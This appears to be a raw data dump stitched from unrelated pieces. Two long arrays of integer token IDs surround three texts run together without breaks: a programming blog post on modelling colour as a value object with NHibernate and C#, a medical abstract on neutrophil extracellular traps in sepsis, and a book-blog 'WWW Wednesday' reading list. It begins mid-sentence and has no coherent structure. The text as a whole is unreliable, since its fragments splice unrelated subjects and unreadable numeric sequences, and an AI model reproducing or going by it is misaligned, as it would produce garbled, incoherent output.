their love to man and beast, some of whom preach non-violence from
[ 4453, 2600, 342, 752, 359, 4270, 689, 253, 1390, 1643, 1897, 13, 1919, 359, 921, 617, 253, 2608, 5673, 326, 26091, 253, 9830, 15, 773, 42, 457, 78, 2581, 10000, 594, 309, 2223, 1056, 16503, 672, 309, 1379, 1557, 273, 841, 10656, 8892, 13, 812, 368, 823, 247, 6409, 281, 1663, 11352, 247, 3295, 432, 436, 1618, 8791, 7721, 831, 10316, 441, 896, 281, 6278, 581, 15, 3973, 2181, 359, 1158, 670, 310, 2602, 37193, 253, 9830, 15, 844, 812, 671, 760, 1056, 352, 1896, 281, 5386, 247, 3295, 604, 352, 11210, 457, 85, 644, 23378, 2568, 15, 329, 4318, 275, 253, 896, 273, 776, 9851, 11359, 7746, 441, 326, 359, 1364, 320, 5816, 1633, 2167, 13, 285, 326, 436, 3133, 281, 320, 12150, 685, 352, 943, 320, 15, 329, 1643, 3038, 1996, 13, 6276, 1728, 846, 247, 10458, 1388, 13, 352, 4916, 4755, 326, 253, 11731, 1663, 11121, 273, 247, 3295, 347, 247, 1318, 3185, 273, 271, 10726, 13, 594, 359, 943, 1663, 320, 14053, 352, 347, 824, 15, 187, 187, 6573, 347, 247, 4445, 187, 187, 45, 1807, 1031, 13, 18020, 38216, 2789, 436, 3965, 2969, 15, 380, 1735, 1388, 13, 359, 12666, 2393, 387, 253, 3906, 13, 285, 1818, 776, 10603, 281, 897, 247, 4445, 13, 594, 326, 3185, 273, 253, 1113, 44978, 247, 3295, 13, 359, 4657, 253, 1318, 13, 285, 7168, 253, 2654, 15, 187, 187, 4387, 966, 2639, 4947, 6648, 1163, 6550, 6648, 654, 2639, 2239, 551, 1345, 2639, 4947, 6648, 6734, 551, 4031, 313, 1269, 3001, 1269, 964, 4031, 13441, 41415, 3463, 964, 17459, 15288, 313, 346, 740, 3, 5349, 27740, 313, 1269, 3001, 1269, 964, 9472, 1157, 278, 3001, 551, 278, 964, 12968, 313, 1269, 3001, 1269, 964, 9424, 13441, 29085, 313, 346, 6573, 2402, 3, 13441, 32569, 313, 1884, 13441, 3105, 964, 34631, 494, 36117, 278, 964, 12968, 313, 1269, 3001, 1269, 964, 48927, 796, 68, 1983, 3650, 318, 13441, 29085, 313, 346, 6573, 35348, 3, 13441, 32569, 313, 818, 13441, 3105, 964, 34631, 494, 36117, 6824, 748, 748, 187, 187, 510, 4561, 20824, 1024, 4453, 751, 436, 28, 359, 457, 250, 642, 3356, 44978, 253, 9472, 2829, 15, 187, 187, 3039, 359, 4657, 247, 3295, 1024, 13, 352, 457, 84, 271, 10726, 15, 1292, 347, 3517, 347, 359, 1691, 352, 327, 247, 1113, 13, 352, 457, 84, 247, 1318, 1789, 15, 2091, 359, 3785, 253, 1113, 896, 562, 273, 776, 25306, 4657, 13, 359, 452, 3663, 253, 6489, 15, 844, 943, 10007, 776, 2127, 594, 326, 253, 3295, 457, 84, 8770, 13806, 841, 2544, 15, 844, 10007, 253, 4284, 16757, 594, 326, 253, 1789, 4850, 31260, 342, 247, 4284, 21674, 15, 380, 4284, 16757, 588, 755, 908, 407, 18020, 38216, 672, 352, 33171, 684, 253, 1789, 846, 2970, 352, 562, 253, 25306, 4657, 15, 844, 12970, 253, 8721, 932, 285, 5057, 16850, 6124, 3082, 594, 326, 253, 47811, 403, 2429, 672, 627, 457, 84, 271, 6489, 13, 533, 672, 253, 21674, 3548, 457, 85, 33171, 456, 13, 253, 2193, 403, 2429, 15, 187, 187, 4387, 966, 9472, 551, 1345, 9472, 313, 2876, 1416, 1157, 2876, 15442, 796, 68, 1983, 3650, 318, 2387, 551, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 1416, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 1590, 3, 5349, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 15442, 796, 68, 1983, 3650, 318, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 15741, 796, 68, 1983, 3650, 318, 3, 5349, 9424, 426, 1416, 3706, 48927, 796, 68, 1983, 3650, 318, 426, 15442, 796, 68, 1983, 3650, 318, 3706, 748, 6885, 9472, 6734, 551, 4031, 426, 428, 337, 3706, 748, 1345, 7503, 540, 4031, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 7503, 2876, 9424, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 7503, 2876, 48927, 796, 68, 1983, 3650, 318, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 12970, 7301, 8721, 932, 313, 1789, 10928, 2387, 551, 604, 313, 10928, 2295, 3635, 2387, 1091, 3221, 3706, 945, 3295, 426, 10928, 347, 9472, 3706, 604, 313, 3295, 2295, 3635, 2387, 1091, 3221, 3706, 604, 313, 4031, 3613, 428, 337, 2387, 1091, 4031, 2295, 3295, 964, 4031, 3706, 1091, 9424, 2295, 3295, 964, 9424, 3857, 48927, 796, 68, 1983, 3650, 318, 2295, 3295, 964, 48927, 796, 68, 1983, 3650, 318, 3706, 748, 1345, 12970, 540, 5057, 16850, 6124, 6734, 551, 604, 313, 4031, 3613, 428, 337, 2387, 1091, 4031, 964, 5057, 16850, 6124, 36117, 1091, 9424, 964, 5057, 16850, 6124, 6734, 708, 48927, 796, 68, 1983, 3650, 318, 964, 5057, 16850, 6124, 36117, 748, 748, 187, 187, 1552, 9193, 745, 2167, 28, 970, 581, 4473, 275, 767, 1027, 22349, 2789, 1841, 2581, 21643, 15, 1680, 3295, 271, 10726, 13, 390, 1318, 1789, 32, 2207, 1057, 352, 3469, 32, 187, 187, 22342, 33573, 12342, 187, 187, 1231, 4908, 767, 6843, 12342, 3185, 28, 247, 3295, 347, 247, 1318, 1789, 13, 285, 271, 2130, 3295, 347, 271, 10726, 15, 187, 187, 4387, 966, 26006, 6573, 551, 1345, 26006, 6573, 313, 2876, 1416, 1157, 2876, 15442, 796, 68, 1983, 3650, 318, 2387, 551, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 1416, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 1590, 3, 5349, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 15442, 796, 68, 1983, 3650, 318, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 15741, 796, 68, 1983, 3650, 318, 3, 5349, 9424, 426, 1416, 3706, 48927, 796, 68, 1983, 3650, 318, 426, 15442, 796, 68, 1983, 3650, 318, 3706, 748, 6885, 26006, 6573, 6734, 551, 748, 1345, 7503, 540, 4031, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 7503, 2876, 9424, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 7503, 2876, 48927, 796, 68, 1983, 3650, 318, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 4228, 6843, 5572, 9472, 313, 26006, 6573, 1318, 2387, 551, 1091, 747, 9472, 313, 1318, 964, 9424, 1157, 1318, 964, 48927, 796, 68, 1983, 3650, 318, 5349, 748, 1345, 12970, 7301, 8721, 932, 313, 1789, 10928, 2387, 551, 604, 313, 10928, 2295, 3635, 2387, 1091, 3221, 3706, 945, 3295, 426, 10928, 347, 26006, 6573, 3706, 604, 313, 3295, 2295, 3635, 2387, 1091, 3221, 3706, 1091, 3295, 964, 4031, 2295, 4031, 3706, 748, 1345, 12970, 540, 5057, 16850, 6124, 6734, 551, 1091, 4031, 964, 5057, 16850, 6124, 36117, 748, 748, 1345, 966, 9472, 551, 1345, 9472, 313, 2876, 1416, 1157, 2876, 15442, 796, 68, 1983, 3650, 318, 2387, 551, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 1416, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 1590, 3, 5349, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 15442, 796, 68, 1983, 3650, 318, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 15741, 796, 68, 1983, 3650, 318, 3, 5349, 9424, 426, 1416, 3706, 48927, 796, 68, 1983, 3650, 318, 426, 15442, 796, 68, 1983, 3650, 318, 3706, 748, 6885, 9472, 6734, 551, 748, 1345, 7503, 2876, 9424, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 7503, 2876, 48927, 796, 68, 1983, 3650, 318, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 12970, 7301, 8721, 932, 313, 1789, 10928, 2387, 551, 604, 313, 10928, 2295, 3635, 2387, 1091, 3221, 3706, 945, 3295, 426, 10928, 347, 9472, 3706, 604, 313, 3295, 2295, 3635, 2387, 1091, 3221, 3706, 1091, 9424, 2295, 3295, 964, 9424, 3857, 48927, 796, 68, 1983, 3650, 318, 2295, 3295, 964, 48927, 796, 68, 1983, 3650, 318, 3706, 748, 1345, 12970, 540, 5057, 16850, 6124, 6734, 551, 1091, 9424, 964, 5057, 16850, 6124, 6734, 708, 48927, 796, 68, 1983, 3650, 318, 964, 5057, 16850, 6124, 36117, 748, 748, 187, 187, 1552, 4453, 1805, 15, 844, 1024, 452, 767, 6843, 12342, 15, 743, 6843, 9436, 4483, 368, 281, 755, 247, 3295, 562, 273, 271, 2130, 3295, 13, 10305, 253, 21674, 15, 187, 187, 2044, 2130, 6573, 3980, 912, 426, 747, 26006, 6573, 313, 346, 3980, 912, 3, 1157, 13938, 2648, 1237, 1237, 3, 5349, 945, 1113, 426, 747, 2639, 6048, 9472, 2387, 2130, 6573, 3980, 912, 5349, 26466, 964, 19566, 7557, 313, 1113, 964, 9472, 964, 8721, 932, 313, 747, 9472, 313, 346, 3980, 912, 3, 1157, 13938, 2648, 1237, 1237, 3, 209, 23090, 1380, 2032, 187, 187, 18786, 187, 187, 1231, 2525, 598, 342, 253, 11731, 581, 1390, 673, 13, 285, 921, 617, 752, 359, 294, 45260, 15, 2091, 359, 22020, 849, 703, 476, 8722, 253, 4849, 273, 2130, 9830, 407, 816, 6240, 285, 37193, 731, 428, 1293, 23374, 1880, 581, 273, 253, 8458, 2210, 275, 326, 3295, 13, 247, 8580, 2722, 598, 327, 617, 2454, 28, 773, 1552, 310, 4555, 752, 309, 3058, 13, 352, 1663, 10095, 457, 85, 320, 12150, 685, 436, 1425, 187, 187, 32953, 2223, 10480, 441, 715, 6153, 14429, 15, 2053, 31120, 14429, 840, 564, 327, 281, 9569, 8214, 8789, 13, 16984, 3533, 285, 3237, 326, 812, 4354, 320, 16371, 407, 24699, 2193, 1475, 3185, 15, 187, 187, 9301, 2129, 27, 533, 752, 670, 253, 12693, 32, 19154, 1877, 273, 33130, 84, 4702, 275, 37040, 285, 697, 5921, 342, 253, 12147, 273, 28464, 285, 1963, 12909, 15, 187, 25925, 1263, 432, 436, 5188, 556, 557, 39833, 14746, 13, 12389, 2921, 800, 4073, 285, 616, 2954, 342, 16011, 15979, 281, 253, 12147, 273, 28464, 285, 1963, 12909, 15, 28995, 536, 1100, 403, 1929, 281, 10808, 37040, 16162, 30678, 313, 11502, 84, 10, 4702, 3066, 1959, 26875, 5978, 15, 25411, 14, 18166, 273, 37040, 5644, 281, 253, 2559, 33130, 84, 4702, 390, 18860, 17998, 273, 33130, 84, 651, 2779, 2572, 253, 2495, 273, 6753, 14, 25499, 1197, 5978, 1411, 33130, 84, 4295, 285, 1146, 13730, 5506, 323, 253, 28464, 12147, 285, 1963, 12909, 15, 380, 1246, 1263, 369, 20023, 281, 2007, 2939, 253, 3708, 273, 33130, 84, 4702, 285, 616, 5921, 342, 12147, 273, 28464, 13, 342, 253, 16011, 285, 1963, 12909, 15, 380, 1268, 273, 33130, 84, 4702, 13, 3882, 3727, 13, 30595, 511, 3727, 13, 285, 10142, 16011, 369, 3413, 275, 5096, 28464, 1363, 285, 5329, 5875, 15986, 15, 7160, 50137, 342, 1963, 3602, 285, 12485, 342, 28464, 12147, 497, 671, 7515, 15, 33130, 84, 4702, 3368, 369, 4824, 562, 285, 352, 369, 3012, 2169, 275, 28464, 313, 1967, 2673, 2429, 281, 1453, 313, 1229, 10970, 33130, 84, 2462, 497, 14962, 9578, 342, 12147, 273, 28464, 285, 1963, 12909, 15, 25065, 434, 5921, 10235, 5183, 247, 1480, 5886, 875, 33130, 84, 4295, 285, 1963, 3602, 342, 322, 2265, 261, 12147, 7363, 15, 33130, 84, 4702, 310, 3012, 2169, 1955, 281, 534, 352, 310, 15979, 281, 253, 28464, 12147, 285, 1963, 4433, 15, 21096, 281, 23556, 56, 8330, 2, 831, 1167, 70, 369, 20975, 17386, 407, 45722, 35, 387, 329, 13992, 416, 14292, 285, 43941, 1060, 327, 21525, 327, 247, 3645, 273, 36671, 15, 3771, 3662, 253, 1264, 3533, 2708, 285, 3553, 247, 3048, 281, 634, 1501, 275, 253, 5701, 323, 2571, 281, 1007, 387, 15, 1621, 5311, 32, 1621, 1895, 2, 3771, 3553, 247, 4385, 342, 634, 6128, 15, 7764, 13, 1379, 690, 673, 281, 4143, 253, 643, 5014, 285, 923, 752, 2571, 403, 4361, 15, 1893, 13, 1339, 457, 84, 755, 281, 352, 2, 187, 187, 510, 9064, 411, 84, 403, 27, 187, 187, 1276, 403, 368, 4390, 4361, 32, 1737, 858, 368, 4102, 8416, 4361, 32, 1737, 513, 368, 1158, 368, 457, 620, 1239, 1735, 32, 187, 187, 8497, 27, 1198, 4212, 273, 20299, 17166, 24960, 13, 309, 457, 78, 7591, 281, 4385, 327, 634, 9319, 347, 247, 31198, 38816, 5734, 368, 457, 306, 11410, 9424, 16, 9715, 5701, 15, 831, 310, 247, 1929, 31198, 16, 48943, 17166, 2523, 15, 7764, 1908, 17690, 436, 281, 10078, 625, 4751, 275, 253, 3114, 15, 187, 187, 26747, 4361, 27, 309, 3597, 533, 1335, 1160, 8723, 4780, 275, 2325, 4202, 30979, 36194, 407, 743, 1962, 70, 3689, 15, 309, 457, 78, 4030, 342, 352, 1146, 247, 3468, 564, 13, 1663, 15, 309, 943, 2619, 12217, 299, 15592, 13, 2167, 2866, 187, 42, 369, 2104, 281, 10660, 329, 25005, 273, 322, 12113, 407, 6086, 416, 15, 51, 15, 8698, 323, 1529, 1643, 3618, 15, 309, 457, 78, 1146, 28684, 670, 849, 1142, 22916, 309, 457, 620, 755, 949, 15, 187, 16812, 327, 2186, 342, 329, 15382, 22071, 7733, 273, 659, 7215, 272, 2588, 3750, 407, 16908, 30112, 398, 15, 187, 42, 457, 78, 1077, 2810, 281, 19083, 418, 1094, 273, 48774, 407, 9271, 5830, 378, 1402 ]	looks content with what we built over the last few days, until we show her the user interface that manages the colors. “I’m rather busy so I often make mistakes when I take care of these administrative tasks, could you add a button to really delete a color from this list anyway?” This brings us back to square one. First thing we think about is soft deleting the colors. We could also only make it possible to remove a color if it hasn’t been referenced yet. A voice in the back of our heads keeps telling us that we must be missing something though, and that this seems to be harder than it should be. A few hours later, driving home after a tough day, it becomes obvious that the CEO really thinks of a color as a value instead of an entity, so we should really be modeling it as such. Color as a component Luckily, NHibernate makes this pretty simple. The next day, we arrive early at the office, and change our mapping to use a component, so that instead of the car referencing a color, we store the value, and lose the id. public class CarClassMap : ClassMap < Car > { public CarClassMap () { Id ( x => x. Id ). GeneratedBy. HiLo ( "10" ); Component ( x => x. Color, m => { m. Map ( x => x. Name ). Column ( "ColorName" ). Length ( 30 ). Not. Nullable (); m. Map ( x => x. HexadecimalNotation ). Column ( "ColorHex" ). Length ( 7 ). Not. Nullable (); }); } } The generated schema now looks like this; we’re no longer referencing the Color table. When we store a color now, it’s an entity. But as soon as we put it on a car, it’s a value object. When we pull the car back out of our persistence store, we have lost the identity. We should modify our code so that the color’s behaviour reflects these changes. We modify the default constructor so that the object gets initialized with a default identifier. The default constructor will get used by NHibernate when it hydrates the object after getting it out the persistence store. We override the Equals and GetHashCode methods so that the identifiers are compared when there’s an identity, but when the identifier isn’t hydrated, the values are compared. public class Color { public Color ( string name, string hexadecimalNotation ) { if ( string. IsNullOrEmpty ( name )) throw new ArgumentNullException ( "name" ); if ( string. IsNullOrEmpty ( hexadecimalNotation )) throw new ArgumentNullException ( "hexadecimalNotation" ); Name = name ; HexadecimalNotation = hexadecimalNotation ; } protected Color () { Id = - 1 ; } public virtual int Id { get ; protected set ; } public virtual string Name { get ; protected set ; } public virtual string HexadecimalNotation { get ; protected set ; } public override bool Equals ( object obj ) { if ( obj == null ) return false ; var color = obj as Color ; if ( color == null ) return false ; if ( Id!= - 1 ) return Id == color. Id ; return Name == color. Name && HexadecimalNotation == color. HexadecimalNotation ; } public override int GetHashCode () { if ( Id!= - 1 ) return Id. GetHashCode (); return Name. GetHashCode () & HexadecimalNotation. GetHashCode (); } } This feels off though; using one concept in two different contexts makes things rather confusing. Is color an entity, or value object? Or does it depend? Separate concepts We extract two explicit concepts instead; a color as a value object, and an available color as an entity. public class AvailableColor { public AvailableColor ( string name, string hexadecimalNotation ) { if ( string. IsNullOrEmpty ( name )) throw new ArgumentNullException ( "name" ); if ( string. IsNullOrEmpty ( hexadecimalNotation )) throw new ArgumentNullException ( "hexadecimalNotation" ); Name = name ; HexadecimalNotation = hexadecimalNotation ; } protected AvailableColor () { } public virtual int Id { get ; protected set ; } public virtual string Name { get ; protected set ; } public virtual string HexadecimalNotation { get ; protected set ; } public static explicit operator Color ( AvailableColor value ) { return new Color ( value. Name, value. HexadecimalNotation ); } public override bool Equals ( object obj ) { if ( obj == null ) return false ; var color = obj as AvailableColor ; if ( color == null ) return false ; return color. Id == Id ; } public override int GetHashCode () { return Id. GetHashCode (); } } public class Color { public Color ( string name, string hexadecimalNotation ) { if ( string. IsNullOrEmpty ( name )) throw new ArgumentNullException ( "name" ); if ( string. IsNullOrEmpty ( hexadecimalNotation )) throw new ArgumentNullException ( "hexadecimalNotation" ); Name = name ; HexadecimalNotation = hexadecimalNotation ; } protected Color () { } public virtual string Name { get ; protected set ; } public virtual string HexadecimalNotation { get ; protected set ; } public override bool Equals ( object obj ) { if ( obj == null ) return false ; var color = obj as Color ; if ( color == null ) return false ; return Name == color. Name && HexadecimalNotation == color. HexadecimalNotation ; } public override int GetHashCode () { return Name. GetHashCode () & HexadecimalNotation. GetHashCode (); } } This looks better. We now have two explicit concepts. An explicit conversion allows you to get a color out of an available color, losing the identifier. var availableColorOrange = new AvailableColor ( "Orange", "#CC3232" ); var car = new Car (( Color ) availableColorOrange ); Console. WriteLine ( car. Color. Equals ( new Color ( "Orange", "#CC3232" ))); // true Conclusion We meet up with the CEO one last time, and show her what we reworked. When we demo how she can manage the collection of available colors by just adding and deleting them - without caring whether one of the cars came in that color, a smile shows up on her face; “This is exactly what I needed, it really shouldn’t be harder than this.” Tools often trick us into creating entities. These accidental entities then go on to introduce expensive coupling, introducing questions and problems that could easily be avoided by copying values around instead. Next week: but what about the UI?Quantification of NETs formation in neutrophil and its correlation with the severity of sepsis and organ dysfunction. Previous study from this lab has discerned oxidative, nitrosative stress and their relationship with cytokines contributing to the severity of sepsis and organ dysfunction. Cytokines are known to induce neutrophil extracellular traps (NETs) formation via free radicals generation. Hyper-activation of neutrophil leads to the increased NETs formation or ineffective clearance of NETs would likely increase the risk of auto-antibody generation against NETs components and being partly responsible for the sepsis severity and organ dysfunction. The present study was undertaken to further assess the status of NETs formation and their correlation with severity of sepsis, with the cytokines and organ dysfunction. The level of NETs formation, DNA release, elastase release, and inflammatory cytokines was determined in 80 sepsis patients and 45 healthy volunteers. Their linearity with organ parameters and associations with sepsis severity were also assessed. NETs formation experiment was carried out and it was significantly higher in sepsis (70%) compared to control (30%). NETs % were positively correlated with severity of sepsis and organ dysfunction. Pearson's correlation coefficient demonstrated a direct relation between NETs components and organ parameters with Sepsis severity scores. NETs formation is significantly higher due to which it is contributing to the sepsis severity and organ failure.Welcome to WWW Wednesday! This meme was formerly hosted by MizB at A Daily Rhythm and revived here on Taking on a World of Words. Just answer the three questions below and leave a link to your post in the comments for others to look at. No blog? No problem! Just leave a comment with your responses. Please, take some time to visit the other participants and see what others are reading. So, let’s get to it! The Three Ws are: What are you currently reading? What did you recently finish reading? What do you think you’ll read next? Note: For users of Blogspot blogs, I’m unable to comment on your posts as a WordPress blogger unless you’ve enabled Name/URL comments. This is a known WordPress/Blogspot issue. Please consider enabling this to participate more fully in the community. Currently reading: I tried but still made minimal progress in Becoming Madame Mao by Anchee Min. I’m fine with it being a slow go, really. I should pick shorter ebooks, though… I was able to renew A Storm of Swords by George R.R. Martin for another few weeks. I’m being optimistic about how many disks I’ll get through. Still on hold with A Heartbreaking Work of Staggering Genius by Dave Eggers. I’m very close to finishing Lair of Dreams by Libba Bray
[ 309, 15433, 12469, 376, 5821, 281, 9569, 479, 984, 703, 369, 14442, 323, 619, 1361, 2464, 187, 187, 8, 7093, 1361, 5554, 187, 187, 8, 17833, 15, 844, 30746, 672, 309, 2335, 617, 281, 253, 5453, 1113, 846, 703, 4829, 5103, 326, 5599, 2464, 187, 187, 35384, 336, 13, 6306, 7496, 689, 28753, 434, 2168, 5412, 2133, 15, 187, 187, 2374, 253, 643, 1133, 13, 17052, 369, 320, 6748, 327, 20882, 434, 5170, 5541, 15, 686, 37858, 15, 309, 3524, 703, 1904, 626, 755, 326, 2934, 15, 309, 1599, 13, 12469, 376, 434, 3768, 2920, 1711, 285, 436, 310, 247, 2825, 1984, 2464, 187, 187, 42, 5485, 619, 6208, 281, 4151, 253, 1652, 2500, 47952, 326, 1014, 247, 3416, 273, 12469, 376, 434, 7269, 2363, 13, 534, 309, 24242, 281, 320, 2393, 323, 2890, 13, 1335, 574, 2825, 15, 187, 187, 1898, 840, 309, 12659, 703, 8505, 1904, 626, 15, 2058, 1878, 13, 417, 342, 617, 5938, 15, 187, 187, 8116, 275, 253, 14343, 1113, 13, 309, 42273, 253, 32217, 285, 17860, 352, 2439, 432, 253, 3369, 273, 253, 2316, 5464, 835, 28753, 434, 2133, 2242, 15, 322, 2835, 1066, 13, 309, 3597, 281, 4677, 562, 752, 281, 513, 342, 253, 25288, 15, 1623, 253, 5254, 13, 352, 369, 1512, 2080, 1977, 432, 479, 281, 4354, 3986, 15, 8948, 309, 1871, 816, 1790, 327, 253, 5254, 1735, 281, 352, 15, 187, 187, 18765, 309, 1871, 25262, 3578, 2909, 273, 619, 1495, 1469, 896, 281, 755, 253, 32217, 13, 387, 1878, 619, 7827, 342, 20882, 574, 644, 25441, 2980, 15, 1310, 253, 5772, 369, 281, 320, 6566, 13, 344, 1871, 6786, 3253, 344, 1871, 3078, 672, 344, 1871, 873, 3174, 327, 253, 1685, 27, 417, 760, 369, 627, 642, 1984, 31196, 432, 28753, 285, 3619, 9456, 84, 13, 533, 344, 1871, 14049, 247, 17541, 5570, 15, 187, 187, 7130, 281, 20882, 13, 253, 3302, 3057, 342, 33313, 574, 644, 3066, 4579, 1108, 2761, 5604, 253, 20387, 2473, 3935, 33313, 574, 5393, 15, 2635, 13, 275, 27579, 323, 20882, 434, 8596, 1309, 436, 594, 14, 8890, 20705, 5107, 344, 574, 686, 77, 20044, 715, 4117, 12469, 376, 574, 5611, 29781, 4261, 8406, 281, 5570, 15, 187, 187, 36, 20100, 8715, 626, 2568, 644, 13781, 407, 20882, 672, 32069, 7513, 285, 309, 1313, 342, 253, 17541, 5570, 275, 253, 17552, 1113, 533, 13, 1677, 521, 44873, 273, 253, 5772, 13, 5082, 626, 352, 452, 1160, 3282, 281, 4151, 441, 273, 436, 747, 2440, 32, 187, 187, 11175, 253, 14638, 9761, 8594, 434, 3564, 10345, 626, 3240, 347, 4076, 347, 344, 1871, 751, 952, 281, 2868, 15, 187, 187, 42, 439, 7782, 13, 8423, 1077, 9995, 32069, 7513, 574, 5125, 309, 2986, 562, 275, 253, 14343, 1113, 13, 1014, 604, 697, 760, 643, 45628, 369, 247, 35093, 15, 2207, 5046, 984, 273, 326, 15, 187, 187, 46081, 253, 32217, 562, 273, 253, 1039, 13, 309, 4425, 253, 1682, 1659, 281, 1790, 369, 342, 619, 896, 1411, 253, 3402, 273, 253, 2316, 5464, 2439, 253, 6891, 25506, 432, 28753, 434, 1108, 436, 5747, 253, 26321, 34247, 417, 3240, 6221, 3304, 15, 1292, 436, 1039, 13, 387, 1878, 13, 309, 812, 35766, 1978, 247, 10844, 5130, 327, 326, 3369, 347, 973, 347, 253, 3345, 10463, 285, 253, 11008, 4283, 281, 253, 15828, 1113, 15, 187, 187, 1989, 806, 1051, 187, 187, 48182, 4704, 275, 619, 1133, 13, 309, 22803, 1527, 253, 3369, 2439, 432, 28753, 434, 13, 22980, 326, 2316, 5464, 347, 32069, 7513, 285, 12143, 336, 574, 15, 187, 187, 510, 2317, 369, 6325, 13, 273, 2282, 15, 7243, 309, 10141, 326, 581, 13, 2167, 13, 309, 3543, 751, 309, 574, 281, 513, 253, 2571, 13, 816, 281, 320, 2119, 15, 309, 2427, 1066, 581, 1930, 273, 253, 1113, 285, 715, 1097, 16846, 9956, 13, 619, 1335, 14, 69, 1301, 7537, 932, 7392, 272, 327, 253, 28390, 15, 2635, 309, 4307, 619, 1039, 896, 598, 281, 253, 2317, 835, 28753, 434, 2133, 2242, 15, 187, 187, 42, 22803, 1527, 253, 3369, 285, 13, 5877, 619, 6345, 13, 12293, 689, 253, 767, 34724, 272, 924, 438, 2510, 285, 715, 253, 2316, 15, 28753, 369, 327, 253, 32366, 13, 273, 2282, 13, 11372, 1977, 432, 479, 751, 344, 369, 1335, 816, 295, 5436, 15, 187, 187, 42, 246, 9155, 80, 264, 37335, 13, 1335, 2820, 417, 281, 23233, 13, 285, 1128, 187, 187, 8, 29033, 4233, 5554, 187, 187, 42, 16780, 896, 285, 3531, 13, 12976, 253, 5654, 13, 534, 369, 1024, 4886, 275, 20319, 342, 619, 18577, 1133, 15, 686, 42846, 10739, 13, 5767, 90, 2, 1422, 16060, 479, 281, 2471, 15, 1737, 403, 368, 2509, 275, 1060, 5554, 187, 187, 14866, 90, 3261, 8513, 15, 686, 4497, 13, 309, 19336, 327, 253, 3369, 281, 1918, 368, 436, 13, 533, 309, 1904, 626, 4089, 667, 3662, 2464, 187, 187, 2993, 369, 5877, 562, 271, 299, 14, 28011, 15, 686, 42, 1849, 1694, 247, 7020, 273, 5098, 10607, 327, 352, 285, 309, 15433, 352, 651, 1361, 368, 1509, 253, 673, 15, 5531, 13, 285, 309, 671, 1691, 247, 346, 19515, 6282, 3, 861, 327, 253, 643, 1930, 273, 253, 3369, 2464, 187, 187, 3220, 2798, 14, 4427, 31206, 2584, 15539, 14, 12850, 1319, 15, 686, 8061, 13, 5767, 90, 1108, 326, 434, 1077, 5322, 273, 368, 2464, 309, 2335, 253, 9414, 15, 686, 1898, 309, 1353, 7016, 309, 28435, 15, 1244, 13, 973, 13, 2761, 5103, 368, 15, 309, 1364, 452, 644, 387, 253, 643, 990, 273, 253, 1113, 12669, 253, 39426, 672, 368, 19336, 2464, 187, 187, 8, 2302, 13, 309, 1353, 253, 581, 665, 943, 320, 7016, 4117, 5767, 90, 753, 13, 617, 2927, 973, 272, 598, 15, 686, 1989, 672, 368, 1904, 626, 3662, 13, 309, 369, 11926, 2464, 187, 187, 8, 42, 11435, 326, 15, 309, 369, 816, 2403, 2119, 3253, 369, 7895, 2464, 187, 187, 2993, 17377, 689, 387, 253, 32366, 13, 617, 11480, 1488, 45252, 285, 617, 1735, 3000, 247, 1652, 23457, 1070, 15, 686, 5804, 359, 755, 562, 273, 1060, 5554, 187, 187, 8, 3378, 11284, 2464, 309, 1339, 617, 8436, 70, 479, 562, 253, 3369, 15, 686, 1898, 5717, 368, 969, 2464, 309, 2918, 598, 253, 299, 14, 28011, 15, 187, 187, 14866, 90, 11373, 15, 686, 1394, 1472, 10112, 15, 13516, 281, 253, 3369, 285, 1067, 562, 604, 368, 878, 2712, 2464, 187, 187, 8, 42, 588, 15, 9375, 2464, 1284, 703, 3531, 1977, 13, 309, 4571, 626, 11623, 3981, 13, 686, 42, 8344, 368, 5015, 342, 26411, 15, 754, 3133, 751, 247, 5322, 5599, 2464, 16513, 20882, 15, 686, 1898, 1663, 1175, 14, 13565, 2464, 187, 187, 8, 42, 9428, 13, 533, 1512, 2872, 15, 1244, 247, 46216, 2464, 187, 187, 3220, 13, 619, 13, 533, 253, 9243, 5978, 369, 2619, 90, 15, 686, 23631, 556, 281, 1265, 9366, 2464, 187, 187, 14866, 90, 31505, 264, 15, 686, 8389, 1524, 1416, 310, 29040, 15, 309, 3047, 779, 387, 253, 10301, 1390, 2129, 285, 2546, 604, 344, 1871, 751, 281, 6233, 690, 4465, 2583, 2464, 187, 187, 8, 2773, 369, 7060, 2464, 187, 187, 8, 1394, 1472, 7746, 479, 15, 1422, 871, 849, 1199, 352, 4815, 281, 16263, 247, 5702, 44693, 3109, 32, 1244, 309, 8686, 512, 253, 26375, 387, 12805, 1940, 2464, 187, 187, 1394, 574, 281, 1918, 253, 3416, 6152, 15, 1500, 3260, 849, 281, 13726, 247, 14838, 15, 309, 13937, 352, 5082, 626, 1705, 896, 281, 18470, 617, 275, 253, 830, 273, 33563, 407, 253, 16479, 327, 253, 6194, 285, 1014, 253, 6194, 2567, 3139, 15, 187, 187, 7371, 369, 1529, 1921, 309, 1871, 3078, 562, 273, 2362, 7219, 27, 253, 9781, 604, 1633, 2427, 3768, 610, 15, 2058, 1878, 309, 1871, 644, 30746, 285, 574, 247, 13739, 6306, 3212, 479, 15, 1310, 309, 497, 5767, 90, 13, 309, 5082, 626, 1902, 247, 2644, 2257, 273, 1329, 432, 1503, 3703, 15, 187, 187, 4553, 253, 2872, 3416, 1669, 13, 309, 11371, 4830, 253, 5254, 15, 1294, 2784, 253, 5654, 1411, 619, 987, 33845, 13, 309, 5055, 598, 617, 299, 14, 28011, 15, 187, 187, 2993, 3589, 626, 29521, 670, 253, 5098, 15, 329, 7020, 273, 731, 285, 13, 275, 253, 5878, 13, 690, 273, 12447, 3454, 11128, 25185, 434, 15, 187, 187, 688, 6547, 1051, 309, 660, 